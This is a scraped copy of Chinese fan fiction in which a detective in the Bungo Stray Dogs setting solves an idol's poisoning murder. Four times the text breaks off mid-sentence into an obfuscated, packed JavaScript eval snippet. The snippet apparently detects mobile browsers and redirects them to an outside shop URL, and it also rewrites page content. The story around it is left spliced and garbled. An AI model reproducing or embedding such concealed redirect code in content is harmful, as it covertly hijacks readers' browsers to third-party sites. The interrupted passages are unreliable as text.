星野凛无视掉太宰,翻看那本完全自杀手册,太宰趁她翻开书的间隙,悄悄靠近她,用手捏住她的一根头发。 见她的眼睛还是绿色就匆忙收回了手。 怎么回事?由异能紊乱产生的短暂性失忆,居然连【人间失格】都起不了任何作用。 看来凛酱身上的秘密并不是他想象的那么简单啊…… 星野凛看了几眼就把书扔到了地上:“什么破书,你竟然敢耍我?!” 太宰迅速把完全自杀手册捡起来:“我没有耍小姐哦,上面的所记录的自杀方法就是最好的证明。” 星野凛绿色的眼睛慢慢变淡,有些头晕目眩:“你的意思是这里是三途河?这里的人都是用了上面的方法成功自杀的?” “对,没错!我们都已经死了哦~” “你这家伙……” 星野凛没说完就晕了过去。 太宰连忙去扶她,看着她安静的样子呢喃出声:“凛酱,对不起……” * 半小时后,星野凛在医务室醒来,看着这熟悉的一幕,她的头还隐隐作痛。 她又怎么了?陷入时间循环了吗? 太宰坐在她的病床前,打了个哈欠:“凛酱知道自己做了什么吗?” 星野凛音色平淡道:“把你的绷带全扔了?还是把你的蟹肉罐头都喂猫了?” “都不是,比这还要过分一千倍!” 星野凛还记得他刚才说的话,对他没什么好脸色:“从明天起,我会和敦君一起调查案子,恭喜太宰君终于可以不用和我这个废物一起了。” 太宰附和道:“是啊,实在是太好了!一会我要去吃全蟹宴庆祝一下!” 她不想再和这家伙待在一起了,下床叠好被子后,头也不回地走了。 回到员工宿舍后,把鞋一脱,直接上床睡觉。 什么案子啊,杀人事件啊,在此时此刻都与她无关,最好谁也别来打扰她。 星野凛觉得自己做了个很长的梦,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037685|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又想不起来,不过她好像听到了国木田君的声音。 “快点醒醒!你这个消极怠工的家伙,还有案子要你解决,不准给我偷懒啊!” “那个,国木田先生我们是来看望星野小姐的,不用这么大声吧……” 中岛敦轻声道。 “不这么大声她会醒吗?都昏睡三天三夜了,警察署那边也在询问她的情况,这个案子既然被她接下了,她就得认真完成,这是原则问题。” “国木田君好严肃啊,说不定凛酱是因为国木田君才故意不醒的哦~” 是太宰那个讨厌鬼的声音。 不行,她忍不了了。 “非人类物种可以离开我的房间吗?” 太宰疑惑道:“凛酱难道是在说我?” “谁对号入座,我说的就是谁。” “诶?” 见星野凛醒来,一同过来的宫泽贤治松了一口气:“真的是太好了,星野小姐终于醒了。” “谢谢贤治君,我没事,不用担心。” “对了,听说人在大病初愈后都应该吃一点健康的食物。” 宫泽贤治抱着一箩筐蔬菜水果给她看:“这是我们村的阿婆种的,可新鲜了,绿色无污染的健康食物,星野小姐一定要记得吃,烂了就不能吃了。” 幸好是蔬菜水果,她还以为宫泽贤治直接抓了个活鸡送给她呢,那画面怎么看都很好笑吧。 “谢谢,放在桌子上就好,我会吃的。” “我知道了。” 宫泽贤治举起箩筐放到餐桌上。 与谢野晶子摸了摸她的脉搏:“跳动的频率总算正常了,看来你是因为身体或者精神压力过大,超过所承受的负荷就会有这种后遗症,不过这种后遗症到底是怎么造成的,我目前还不清楚。可能在我们这里只是一件小事,但在你哪里就成了让你副作用发作的元凶。” 那天肯定是因为帮青木翔太跑腿,一直没吃饭,加上心里比较抵触,讨厌被使唤的双重buff的叠加下,才触发了这个不知道从哪冒出来的后遗症,实在是太倒霉了。 “先不管这些了,我真的很感谢大家能来看我,除了某个人之外,现在也没什么事了,我马上就可以去调查案子的。” 太宰冷不丁地插话:“凛酱还是干脆别去了,反正也调查不出什么,不如把案子交给我来处理。” “我凭什么交给你?你以为自己很无敌吗?我就算调查不出什么,也比你这个只知道入水的自杀狂魔好一万倍!” 中岛敦偷偷问与谢野晶子:“与谢野医生,他们怎么了?” 与谢野晶子摇摇头:“我也不知道。” “……” 太宰锐利的视线仿佛能把她穿透:“那凛酱就好到哪里去了吗?每天逼着自己热爱生活,逼着自己积极向上,到头来只会让自己越来越疲惫。” “那也比你每天寻死觅活强!” 星野凛本想再开口,结果被手机铃声打断了,她按下了接通键:“我是星野,你是哪位?” “侦探小姐还是贵人多忘事啊,这么快就把我忘记了?” 是青木翔太。 她压下烦躁,努力缓和语气:“你有什么事吗?” “不是说侦探小姐给我做助理,我就把关于山本的情报告诉你吗?今晚八点,星中星事务所不见不散。” 22. 第 22 章 青木翔太说完不等星野凛的回应就挂断了通话,星野凛本想说点什么,结果听到了挂断的“嘟嘟”声。 “……” 真是个没礼貌的家伙。 国木田推了推眼镜:“怎么了?是有什么新线索吗?” “没错,我一会要去一趟星中星事务所,辛苦大家来看我了,时间也不早了,大家早点回去休息吧。” 星野凛从床上起来穿上鞋子后,拿起梳子随便梳了几下头。 与谢野晶子接过她的梳子,细心温柔地帮她梳头:“让太宰和你一起去吧,你一个人应付不了的话,我们也赶不过去。” “哈?才不要呢!谁想和那个家伙一起去。” “我也不想和凛酱一起去,都快八点了,人家还想回家睡美容觉呢~” “谢谢与谢野医生,不用梳了。” 星野凛穿上黑色的休闲外套:“如果有什么情况我会及时告诉大家的,我一个人真的可以,就不打扰太宰君睡美容觉了。” “美容觉”这三个字被她念得很重。 “大家快回去休息吧,你们来得太突然我也没空招待你们,希望大家见谅。” 中岛敦连忙摆手:“没关系的,是我们自作主张要来的,怎么能怪星野小姐招待不周呢。” “我走了,你们离开的时候记得帮我把门锁上。” 星野凛把钥匙和墨镜装进口袋里,推门离开了。 看着她离开的背影,太宰轻笑一声:“好了,大家回去吧。” 中岛敦:“太宰先生你不去真的没问题吗?” “敦君为什么这么问?凛酱都这么说了,我们要相信她才行。” “因为太宰先生看上去很想和星野小姐一起去啊。” 太宰笑出声,丝滑地转移话题:“好饿啊,敦君你吃饭了吗?我还没有吃饭呢,要不让国木田君请我们去吃饭吧,就这么愉快地决定了~” “谁要请客吃饭啊?!你这个混蛋不要自说自话啊!” “哎呀,走吧走吧,国木田君肯定也没吃饭吧,过一会餐厅就要打烊了,快点去吧~” * 无论来几次星中星事务所,星野凛都会被这里的装潢给闪瞎眼,幸好这次她把墨镜带来了。 戴上墨镜后眼睛舒服多了。 她坐上电梯后才想起来,青木翔太好像没有告诉她,去哪里等他,只说了在事务所见面。 这家伙做事可真够差劲的,连话都说不清楚。 电梯停在了二楼,她走了出去,拿出手机联络青木翔太,响了十几声才接:“我在星中星事务所的二楼,你在哪里?” “我在四楼,出了电梯后直走,第三个房间就是我的私人办公室,侦探小姐最好快点来,我明天还有一场见面会呢,得早睡再起才行。” 星野凛还记得他刚才挂断通话的仇,这次也有样学样,直接挂断。 她呼出一口气,烦人的噪音终于结束了,世界终于安静了。 如果可以,她真想现在就结束这个案子,青木翔太那张漂亮的脸,放在他身上简直是暴殄天物,他要是个哑巴就好了,当一个不会说话的美丽花瓶不比现在这副清高傲慢的样子好一万倍? 星野凛一边在心里吐槽青木翔太,一边按通向四楼的电梯。 没一会就到了,她按青木翔太所说的直走,来到第三个房间门口,轻轻敲了几下门:“我到了,快点出来开门。” 青木翔太穿着松松垮垮的浴袍,带着一身水汽把门打开:“侦探小姐来得还真是快啊,我刚洗完澡就过来了。” ?真是不守男德,故意的吧。 星野凛无语地看着他:“你就不能好好穿衣服吗?小心我把你发到网络上,让你的女友粉哭泣。” 青木翔太无所谓道:“随便啦,她们是不会相信的,毕竟我出道这么多年,在圈内是出了名的恋爱绝缘体。” 说得真好听,明明是因为自己性格烂,招女演员讨厌才这样的吧? 星野凛走进青木翔太的私人办公室,差点没被这家伙给恶心死,因为装修素雅的墙上挂满了他的照片。 大大小小挂得到处都是,看得她密集恐惧症都要犯了,再自恋也得有个度吧,这真的很诡异啊,不知道的还以为他在拍什么恐怖电影呢。 “怎么样?是不是被我英俊的面容给迷倒了?” 星野凛觉得胃里翻江倒海,要吐出来了:“卫生间在哪?” 青木翔太不明所以地指了指右边:“那个就是卫生间。” 星野凛立马跑进去,打开马桶盖就开始吐,她感觉自己的胃都快被吐出来了。 听到星野凛呕吐声的青木翔太:“?……” 她吐完后缓了好久才从卫生间出来:“你要是不把照片拿下来几张,我就要吐死在这了,而你就杀人凶手。” 青木翔太坐在沙发上敷面膜:“我为什么要把照片拿下来,侦探小姐会吐,是因为自己的消化功能有问题,和我的照片什么关系?” 这该死的混蛋,她攥紧拳头,硬生生忍了下去:“你不拿,我就自己拿。” 星野凛纵身一跃把墙上几个比较大的照片拿了下来,只留了几张小的。 她回到地面,满意地点点头:“这才正常嘛。” 青木翔太面膜都被吓掉了,把星野凛手里的照片抢了过来:“你到底想干什么?这可是我好不容易请设计师给我设计的照片墙,就这么被你毁了!” 星野凛坐到沙发上:“别这么小气嘛,等我走了再给你安回去不就行了?快点说山本的事吧,我急着回去补觉。” 听到星野凛说会给他安回去,青木翔太的脸色才缓和一点:“你不问问我为什么会透露山本的事吗?” “不想问,懒得问。” “……” “是因为太宰君说你从剧组离开后,生了一场大病,还昏迷了好几天,如果我不在你醒了之后告诉你的话,他就联合媒体编造黑料要挟我,甚至要举报封杀我,真是个可怕的男人啊……” 虽然猜到了有那家伙的功劳,但她还是不想轻易原谅他。 “如果你自己是个光明磊落的人的话,就不会怕太宰的要挟,不要把自己说得那么无辜。” “侦探小姐真是天真啊,在我们这个圈子白的都能被说成黑的,就算太宰君拿着编造的假料去曝光我,那些人还是会当真的,人只会相信自己想相信的,清者自清根本不适用于这个这个时代。” “除了有太宰君的原因之外,我也想把山本的所作所为全都曝光出去,让那些路人来看看,山本悠真到底是个什么东西。” 星野凛好奇地问:“那山本悠真是个什么东西?” “是人渣中的人渣,混蛋中的混蛋,他已经不能算作人了,连只狗都不如。” 星野凛拿出在解决吉田友香案件时买的记事本,把“人渣”和“混蛋”这两个词语写上去:“从你的形容来看,山本悠真被他杀的概率很高啊。” 青木翔太笑了: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037686|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用怀疑,那家伙就是被人杀了,绝对不是什么抑郁自杀,或者什么意外身亡。” “那家伙从刚出道的时候,就沾花惹草,有一大堆情债,谈地下恋,去风俗店,出轨,睡粉,只有你想不到,没有那家伙做不到。” 星野凛把关键的词语记下来,疑惑道:“既然山本悠真这么混蛋,为什么到现在都没有媒体曝光?你们事务所的公关这么厉害的吗?” 如果事务所的公关真这么厉害的话,那青木翔太根本就不需要怕太宰的要挟了,有了神级公关和事务所的力保,吸冰家暴的烂人都能继续拍戏圈钱,可见有一个好公关是多么地重要。 “事务所当然没有这么厉害了,厉害的是山本悠真的母亲,他母亲是霓虹数一数二的企业家,有什么事是钱和权摆不平的?” 原来是钞能力。 青木翔太嘲讽道:“只不过他母亲今年去世了,他家的企业全被他出国留学的姐姐吞掉了,没有人给他兜底,他就算再有钱又怎样?还不是死了。” 星野凛微不可查地皱了皱眉:“你用这种语气说话,我真的有理由怀疑是你杀了山本,而且你也有充足的作案动机。” “别开玩笑了好吗?我会杀他?” 青木翔太嫌恶道:“我怕弄脏了我的手,一个不尊重音乐,不尊重舞台的人根本就不配出道,也不配有那么多粉丝。” “有时候我也搞不懂,为什么他的大粉明明知道他是个什么样人,还能自欺欺人地继续喜欢他,真是愚不可及。” 星野凛叹气道:“没办法嘛,总有异食癖专门挑脏的烂的吃,有什么好纠结的。” 青木翔太重新撕开一张新的面膜,往脸上敷:“也对,他的粉丝这几天还去警察署闹事,要求警察缉拿我,真是什么样的人就有什么样的粉丝。” 星野凛想到了一句隔壁的饭圈用语,叫什么来着,好像是粉随蒸煮。 “你说的这些只有我一个人信是没有用的,你得把证据甩出来才行。就算他的母亲去世了,他姐姐总不至于对他的死不闻不问吧?” “这个你就放心吧,山本那家伙和他姐姐的关系很差,不然他的尸体还轮得到警察来碰吗?” 青木翔太把举办见面会的通告给她看:“至于证据也很简单,我有一个大粉曾经是山本的粉丝,在知道山本的真面目后脱粉了,她手里有很多山本的证据,明天的见面会就是最好的机会,我已经给她发消息让她过来了。” 星野凛震惊地看着他:“你这种私联大粉的行为和山本有什么区别啊?” 这个大粉的眼光也是真的差,脱粉山本又粉上了青木,不就是吃腻了一坨屎,又换了一坨屎继续吃吗?本质都是屎,一点区别都没有。 青木翔太反驳道:“你居然拿我和山本做比较?我和大粉的关系才没有你想象地那么龌龊呢!我们是最纯洁的朋友关系,不要拿杏和钱来玷污我们之间的关系。” 星野凛无奈道:“好好好,朋友关系。” “明天几点开见面会?你在这个节骨眼上开见面会真的不怕被山本的脑残粉攻击吗?” “上午九点吧,不过你还是早点到比较好,晚了就过不来了。我还请了三个保镖,设置了安检环节,是不会出意外的。” 星野凛看了眼时间,已经晚上10:30了:“时间不早了,我先回去了。” “先别走。” “?” “把我的照片挂上去再走。” “……” 23.第 23 章 东京时间上午10:00。 星野凛站在青木翔太的身边充当工作人员,面对犹如丧尸围城的粉丝见面会,她无比庆幸自己提前半个小时就到了,不然就等着被挤成肉饼吧。 青木翔太做着完美的表情管理,一边wink一边笑着说:“大家注意安全,不要受伤了。” 粉丝瞬间跟炸了锅一样:“啊啊啊啊啊啊啊啊啊青木大人好帅!!” “……” 星野凛从口袋里掏出耳塞给自己戴上,只要青木这家伙一说话,现场就会发出无数噪音,吵得她头疼。 说好的九点举办见面会的,结果都十点了,还有一半粉丝在排队检票,青木说的大粉也没有来。 好烦,好吵,好想回去休息。 青木翔太熟练地做完饭撒,等待下一个粉丝的到来,来人是一个有着黑长直,皮肤白皙的女孩子,年纪不大,约莫刚成年的样子,和她一样大。 星野凛注意到,她悄悄往青木翔太的旁边塞了张纸条,和大多数普通粉丝一样,要求青木翔太做完饭撒就离开了。 半个多小时后,粉丝都离开了,见面会也开完了,青木翔太才打开那张纸条,星野凛探头看上面的字,轻轻地念了出来:“一会见,我会等你的。” “你干什么啊?怎么还偷看别人的隐私呢?!” 青木翔太应激地看着星野凛。 不对劲,这留言实在是太暧昧了,还有青木翔太的反应也很耐人寻味。 “约大粉见面本来就是昨天说好的,怎么还成了你一个人的隐私了?你该不会……” “你少污蔑我!我和雪子不是才你想的那样!” “我还什么都没说呢,你急什么。” 星野凛好整以暇地看着他:“雪子都没说她在哪等你,你居然一点都不着急。” “我们之间不需要说明,也能默契地知道对方在哪里。” 真想把这家伙的发言上传到粉丝群啊,以为自己多么正人君子,殊不知这种行为早就超过了普通偶像和粉丝之间的距离了,又是个自欺欺人的家伙。 算了,还是案子要紧。 “那你能快点联络上雪子吗?我的时间不多了。” 当初信誓旦旦地和村上警官保证在一周内结案,结果现在离一周只剩下不到三天了,她的身体还突然发病了,实在是太倒霉了。 “别急,我现在就联络。” 这家伙早就迫不及待想见到雪子了吧?还非得等她开口,为什么她每次探案都遇不到正常人呢? 不,应该说稍微正常一点的案件都不会轮到她,毕竟倒霉体质一直在发力。 青木翔太收到了雪子的信息:“她说让我们在这里等她,她一会就过来。” 星野凛点点头,和青木翔太的工作人员说明情况:“大家辛苦了,先回去吧,我们一会就回去,麻烦大家把现场收拾一下,剩下的我和青木收拾就好。” 工作人员把现场收拾完,一点后续工作都没留下。 星野凛不禁感慨,有这样的工作人员可真省心啊,不像她的某个同事,每天除了入水就是邀请女性殉情,还总是一副深不可测又神神秘秘的样子,关键时刻一点忙都帮不上。 “让你们久等了,实在是太失礼了。” 雪子提着两盒高级和菓子缓步走过来。 “翔太君,这是给你的,你不是最喜欢吃这家的和菓子吗?” 雪子把一盒和菓子递给了青木翔太。 另一盒递给了星野凛:“初次见面,我是立花雪子,不知道小姐喜欢吃什么,就干脆买了两盒,希望小姐不要嫌弃。” 星野凛接过和菓子:“我是星野凛,谢谢立花小姐,我很喜欢。” 才怪,她最讨厌成为别人play中的一环了。 和菓子还是拿回去给乱步先生吧,也算是物尽其用了。 立花雪子左顾右盼,确认周围都没人后才开口:“我知道星野小姐想问什么,不过我建议还是去我家比较好,别的地方都不安全。” “我都可以。” 只要快点把山本的证据拿出来,一切都好说。 * 星野凛此时此刻正坐在立花家的客厅里,看着装潢金贵的独栋大别墅,她想到只有富婆才会当大粉的玩笑话了。 虽然很刻板印象,但立花雪子就是个标准的富婆。 吃穿用度无一不奢侈,家里的客厅里还摆满了青木翔太的人形立牌,墙上贴着他的各种海报,差点没把家里变成青木翔太的痛楼。 不过总感觉青木翔太的元素让这栋大别墅都变得廉价了,把他去掉会更好,果然,她只是单纯讨厌青木翔太而已。 立花雪子给星野凛倒了一杯咖啡:“忘记买茶叶了,家里只剩下咖啡豆了,不知道星野小姐喝不喝得惯?” 星野凛闻着熟悉的香气,摇了摇头:“没关系,我之前就在咖啡店做过兼职,再苦的咖啡都喝得下。” 不过提起咖啡店,还是忍不住回想起那团熊熊大火……她用力掐住手腕,努力让自己不去回想。 立花雪子松了一口气:“太好了,我还在想如果星野小姐不喜欢喝,该怎么办呢,现在看来是我多虑了。” 星野凛微抿了一口咖啡:“听青木说立花小姐以前还是山本的粉丝?” “这都快成为我的黑历史了,翔太君也真是的……” 立花雪子小声嘀咕完才回答星野凛的话。 “我以前确实是山本悠真的粉丝,那时候,FFF男团刚出道没多久,也没多少粉丝,我在机场等飞机的时候,不小心撞到了山本悠真,他不仅没有生气,还送给我一张签名照,细心又温柔,从那以后我就无法自拔地喜欢上了他。” 星野凛严重怀疑山本悠真绑定了魅魔系统,不然就凭他那张平平无奇的脸,怎么可能成为立花雪子一见钟情的对象。 “我加入他的粉丝俱乐部,给他做数据,冲销量,甚至还为了他自学摄影,只为拍出他完美帅气的一面。可惜,没等到我拍到出他的出圈神图,等来的却是他睡粉,出轨,去风俗店的实锤。” “我把证据发到粉丝群里,结果没一个人信我,她们甚至还给我造黄.谣,说我是对家派来故意整山本悠真的,我心灰意冷之下就脱粉了,并且一直保留着证据,就等山本悠真出事的那一天,好把真相公之于众。” 立花雪子见星野凛听得认真,笑着说:“星野小姐还想听我是怎么喜欢上翔太君的吗?” 星野凛连忙开口:“这就不用了,立花小姐还是把山本的证据拿出来吧,我好向警察署交差。” 谁想听她是怎么喜欢上青木翔太的啊,一坨屎再怎么被人喜欢,也依旧改变不了他是一坨屎的事实。 “证据被我放在卧室里了,还请星野小姐稍等一下。” 立花雪子说完就去卧室拿证据了。 星野凛无聊地打了个哈欠,所幸立花雪子并没有让她等太久,不到十分钟就从卧室出来了。 “这些都是山本悠真的证据。” 立花雪子拿出装在礼盒里的照片,随后又拿起一个U盘说:“这里面是山本悠真花钱收买无良媒体和狗仔,编排造谣翔太君的录音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050849|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这都能搞到?有钱还真是能为所欲为啊。 星野凛看完后照片后,小心翼翼地把照片和U盘都装进原本的盒子里。 “这是酱油,不是水,不可以直接喝!” 立花雪子看到姐姐拿起酱油就下意识出声。 立花阳菜像是没听到她的话,抱着酱油慢吞吞走到沙发旁边坐下。 星野凛被立花雪子的声音吓得一激灵,差点没拿住证据:“请问这是立花小姐的姐姐吗?” 立花雪子看着姐姐无奈道:“这是我姐姐,名叫阳菜,自从半个月前出去旅游后就变成这副样子了,父母忙于工作,没时间照顾姐姐,交给别人又不放心,我只好休学在家照顾姐姐。” 立花阳菜双眼空洞,神情麻木,就像一具行尸走肉般,哪里有半分正常人的样子。 星野凛:“有去医院做检查吗?” 立花雪子叹气道:“去了,医生说姐姐没有生病,母亲甚至还专门请了阴阳师来驱鬼,无论做多少努力,姐姐还是那副样子……” 立花阳菜忽然把酱油扔到地上,跑向了二楼。 “……” 立花家难道就没考虑过带立花阳菜去检查一下脑子吗?光检查身体有什么用,依她看,这立花阳菜很有可能就是撞坏了脑子,一惊一乍的,精神状态也不好。 看到立花阳菜跑回了二楼,立花雪子也没有追上去,反而拿出了一个礼盒,里面装着一条莹润透亮,浑圆无瑕的珍珠项链。 “马上就是姐姐的生日了,这条珍珠项链就是我送给她的生日礼物,星野小姐你觉得怎么样?” 星野凛往咖啡里加了块方糖,慢慢搅拌:“我觉得很好啊,这条珍珠项链一看就是立花小姐你用心挑选的,没有人会不喜欢用心挑选的礼物。” “不过,我很好奇,立花小姐为什么会想送珍珠项链,而不是宝石玉石之类的呢?” 立花雪子回忆起姐姐的话:“因为姐姐喜欢珍珠,她说她喜欢珍珠的洁白无瑕,好像没有什么能够污染它,永远都是干净的,纯粹的模样。” “主要是因为我上次送给姐姐的珍珠项链,不小心被姐姐弄丢了,所以想再送给她一条更好的。” “我相信她一定会喜欢的。” 星野凛抱着装满证据的盒子站起来:“感谢立花小姐提供的证据,我就不打扰了,警察署那边还等着我过去呢。” 立花雪子站起来跟着星野凛走到玄关处:“如果星野小姐有什么需要的话,可以给我打电话。” 说完就往星野凛手里塞了一张名片。 星野凛把名片装进口袋:“我会的,谢谢立花小姐。” 立花家在富人区,打车也方便,星野凛刚坐上车,就接到了村上警官的电话:“是星野小姐吗?我这里有新线索了。” “什么新线索?我刚拿到山本悠真的证据,现在正在往回赶。” “我顶着舆论的压力向上级申请解剖山本的尸体,发现他确实是死于他杀,根据法医的尸检报告显示,山本早在半个月之前就死了,之所以没有腐烂是因为一直被浸泡在福尔马林当中,我们还在山本的衣服口袋里发现了几颗珍珠。” “他的脖子还有不明显的勒痕,且勒痕与珍珠的大小一致,结合口袋里的珍珠,应该是被珍珠项链勒出来的,胃里也检测出有大量酒精和少量砷化合物。初步判断,山本是死于酒精和砷化合物,后被犯人用珍珠项链勒住伪造假证转移注意力,总之,这是一起极其恶劣的故意杀人案。” 半个月前?珍珠项链?不会那么巧吧? 24.第 24 章 星野凛回到了警察署,把山本的证据递给了村上警官:“这些就是山本悠真偶像失格的证据。” “辛苦星野小姐了。” 村上警官把几颗珍珠放在掌心展示:“这是法医从山本的衣服口袋里找到的珍珠,奇怪的是只找了这几颗,原本的珍珠项链不翼而飞了,山本的家里也没有找到。” 星野凛明白村上警官的意思,按照凶手的缜密程度,珍珠应该不小心被山本藏在口袋里的,原本的珍珠项链肯定也丢在了山本家,如果山本家没有找到,说明珍珠项链要么在山本家被销毁了,要么被凶手带出去扔了。 前者的可能性更大,按照立花雪子说姐姐喜欢珍珠的说辞,一条沾染了罪恶和污浊的珍珠项链,是不会被立花阳菜带出来的,很有可能在山本家就销毁了。 星野凛用手捏住一颗珍珠,观察到上面还有一丝不明显的血迹,更加肯定了自己的想法:“珍珠项链肯定还在山本家,不过不用找了,我已经猜到凶手是谁了。” 村上警官把珍珠收起来,问:“星野小姐猜的凶手是谁?” “我也不是很确定,还需要村上警官的帮忙,才能确定我心中的猜想。” “需要我帮什么忙?” 星野凛把手上的珍珠放到眼前,近距离观察上面的纹路:“我想知道青木翔太的大粉,也就是立花雪子的姐姐立花阳菜,大学时读的是什么专业,以及她现在在做什么工作?” 村上警官若有所思道:“星野小姐是怀疑立花阳菜是杀害山本的凶手?” “没错,不过具体的还得靠村上警官才能知道。” 作为全横滨最大的警察署,有什么个人信息是这里查不到的吗?当然是没有。 村上警官点点头,坐在电脑前开始查找:“我知道了,不过重名重姓的人很多,麻烦星野小姐在旁边帮忙,毕竟目前只有你一个人见过立花阳菜。” 星野凛站在村上警官的旁边,紧盯电脑屏幕:“村上警官放心,我的视力可是一等一的好,绝对不会忽略任何一个细节的。” 虽然重名的人很多,好在重姓的人并不多,没一会就找到了立花阳菜。 星野凛不放过任何一个信息,从出生日期开始往下看,立花阳菜大学读的是化学专业,毕业后在一所历史悠久的高中当化学老师。 和她猜想的一样,只有长时间接触化学,从事化学相关职业的人才能直接接触到砷化合物,并将其偷偷带出来。市面上对有毒的化学物质管制是非常严的,别说使用了,连购买都异常困难。 村上警官见星野凛一言不发,忍不住出声询问:“怎么了?立花阳菜是凶手吗?” “光凭借这些还不足以说明什么。” 万一只是巧合呢?还得再确认一下。 星野凛揉了揉有些酸涩的眼睛:“村上警官,你能把山本悠真半个月前的行程调查出来吗?” “不用调查了哦~山本半个月前确实开了一次粉丝见面会。” 太宰欢快的语调忽然响起。 “你怎么来了?” 这家伙是泥鳅吗?无论是出现还是离开都是那么地丝滑。 太宰插兜走到星野凛的面前:“当然是来帮凛酱的,如果我不来的话,案件恐怕会拖到后天才能解决完吧?” 星野凛头冒井号:“你什么意思?这个案件哪怕只有我一个人也能完美解决,用不着你来装好人。” 村上警官见两人要吵起来了,忍不住咳了两声:“咳咳,星野小姐,既然太宰先生提供了信息,就按照这个信息猜想下去吧。” 星野凛听到村上警官的话才把对太宰的怒气硬生生压住,开始冷静分析,按照太宰所说的山本悠真半个月前开了一次粉丝见面会,而立花阳菜半个月前声称自己出去旅游了,两人恰好都是这个时间点出的事。 世界上怎么会有这么巧的事? 村上警官提供的珍珠她看过了,和在立花家时,立花雪子拿出来的那条很像,应该是在同一家买的,只不过立花雪子手里那条品相更好罢了。 山本悠真和青木翔太是前队友兼同事关系,立花雪子又是和青木翔太关系密切的大粉,之前还喜欢过山本悠真,现在得出立花阳菜和山本悠真有关系一点都不意外,这两个人甚至都不用六人定律就能联系上。 说不定立花阳菜也是山本悠真的大粉,发现他的真面目后追到他家里和他当场对峙,情绪激动,一时失手把山本悠真给杀了? 星野凛很快把这个猜想给否定了,都说山本悠真是死于酒精和砷化合物了,说明是蓄谋已久,不是一时兴起,像砷化合物这么难搞的东西,不提前准备的话是拿不出来的。 太宰把她脑海中的猜想说了出来:“山本和立花阳菜肯定是在半个月前或者更久之前认识的,这次山本的死,说不定是蓄谋已久哦。” 星野凛忍不住看了太宰一眼,太宰察觉到她的目光,对她做了个wink。 “……” 这动不动就wink的毛病是和青木翔太学的吗? 星野凛把珍珠还给村上警官:“我怀疑立花阳菜是因为她的妹妹说她喜欢珍珠,恰巧她的珍珠项链不见了,半个月前出去旅游后就变成一副魂不守舍的样子,这未免也太凑巧了吧。” “从刚才调查到的信息里我们也知道了,立花阳菜大学时学的是化学专业,现在是化学老师,而山本悠真刚好是死于酒精和砷化合物,她利用砷化合物和酒精的化学反应,增强砷化合物的毒性,并料定警察署不会那么早解剖山本悠真的尸体,所以在他的脖子上伪造出被勒死的假象,来混淆视听。” 村上警官沉吟片刻:“既然立花阳菜做了那么多,那她为什么不躲起来?还暴露在我们的视野下。” 太宰无奈摊手:“村上警官,我们是来破案的不是来研究罪犯的心理活动的。说不定是她癖好特殊,喜欢被抓呢?” 村上警官:“……” 星野凛把线索串联起来,不确定地说:“她很可能已经放弃自己了,放弃了生的希望,一直待在家里,是在等待法律的审判。” 回想起立花阳菜现在的样子,真的很难让人把她往杀人凶手方面猜想,一个在崩溃边缘游走的人,最渴望的是有人来解救自己,让自己离开这充满罪恶的世界。 或许在她下手之前就已经想到自己会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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村上警官怔愣道:“好,不过星野小姐想查什么?” “就是确认一下。” 星野凛在网页上搜索小林未央的名字,她的一连串百科也自动跳了出来。 童星出道,毕业于知名大学,读的是心理专业。之前在她的黑粉群里的时候,就有黑粉嘲讽她是买的学历,没有含金量,是个大脑空空的花瓶。 黑粉的话大多不用当真,基本上都是没有证据信口胡诌的。 幸好她还记得关于小林未央的信息,查一下是为了防止记忆出错,耽误时间。 “我找到心理医生了,不过不确定对方有没有时间过来。” 太宰在一旁没精打采道:“什么嘛,原来是想找她来帮忙啊,我劝凛酱还是认清现实比较好,她可是日理万机的大明星,怎么可能有空来帮我们嘛。” 星野凛一脸无语:“都什么时候了,你这家伙就不能说点好的吗?” 传播负能量也是要分时候的好不好?真是连一点大局观都没有。 为了不听到太宰发出来的噪音,她走到警察署门口,按照名片上的号码拨了出去。没一会就有人接通了:“请问是小林小姐吗?我是星野。” “是你啊,找我有什么事吗?” “我们已经找到杀害山本悠真的凶手了,不过她的情况有点特殊,我们不想就这么不明不白地抓人,希望小林小姐能过来帮忙。” “也难为你调查我了,我正好明天休息,时间地点你来定。” 25.第 25 章 “开一下车门,我要吐出来了。” 小林未央示意司机师傅开车门,星野凛看到车门打开,立马跳下去,找了家便利店,去厕所里面吐。 她还是太有素质了,都这种时候了还想着文明。 直到把胃里的东西都吐完她才洗了把脸,走出便利店。 星野凛坐在车后座,有气无力地质问小林未央:“为什么要在车里喷这么浓的香薰?还有,为什么要开那么显眼的保姆车?” 